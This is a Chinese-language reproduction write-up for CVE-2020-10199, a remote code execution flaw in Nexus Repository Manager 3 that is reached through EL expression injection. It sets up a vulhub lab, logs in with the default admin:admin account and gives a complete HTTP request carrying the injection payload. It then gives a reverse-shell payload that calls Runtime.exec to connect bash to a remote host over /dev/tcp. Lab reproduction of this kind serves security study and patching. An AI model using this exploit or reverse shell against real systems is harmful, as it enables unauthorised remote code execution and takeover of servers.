Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现

简介

Nexus Repository Manager 3 是一款软件仓库,可以用来存储和分发Maven、NuGET等软件源仓库。其3.21.1及之前版本中,存在一处任意EL表达式注入漏洞。

影响版本

Nexus Repository Manager OSS/Pro 3.x <= 3.21.1

参考链接

  • https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31
  • https://github.com/threedr3am/learnjavabug/blob/93d57c4283/nexus/CVE-2020-10199/README.md
  • https://github.com/jas502n/CVE-2020-10199

环境搭建

docker环境+vulhub。

git clone https://github.com/vulhub/vulhub.git

进入对应目录:

使用docker-compose up -d启动环境。

启动环境后,访问 ip:8081 :
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现

漏洞复现

使用账号密码admin:admin登录后台。
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现
登录后,复制当前Cookie和CSRF Token,发送如下数据包,即可执行EL表达式:
Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现
数据包:

POST /service/rest/beta/repositories/go/group HTTP/1.1
Host: 127.0.0.1:8081
Content-Length: 203
X-Requested-With: XMLHttpRequest
X-Nexus-UI: true
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
NX-ANTI-CSRF-TOKEN: 0.7886248393834028
Content-Type: application/json
Accept: */*
Origin: http://127.0.0.1:8081
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Referer: http://127.0.0.1:8081/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Cookie: NX-ANTI-CSRF-TOKEN=0.7886248393834028; NXSESSIONID=cedf848f-d881-4b58-ac24-9e9c3ece40bc
Connection: close

{
  "name": "internal",
  "online": true,
  "storage": {
    "blobStoreName": "default",
    "strictContentTypeValidation": true
  },
  "group": {
    "memberNames": ["$\\A{9*9}"]
  }
}

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现
反弹shell:

"$\\A{''.getClass().forName('java.lang.Runtime').getMethods()[6].invoke(null).exec('/bin/bash -c bash$IFS$9-i>&/dev/tcp/192.168.133.129/7777<&1')}"

Nexus Repository Manager 3 远程命令执行漏洞(CVE-2020-10199复现

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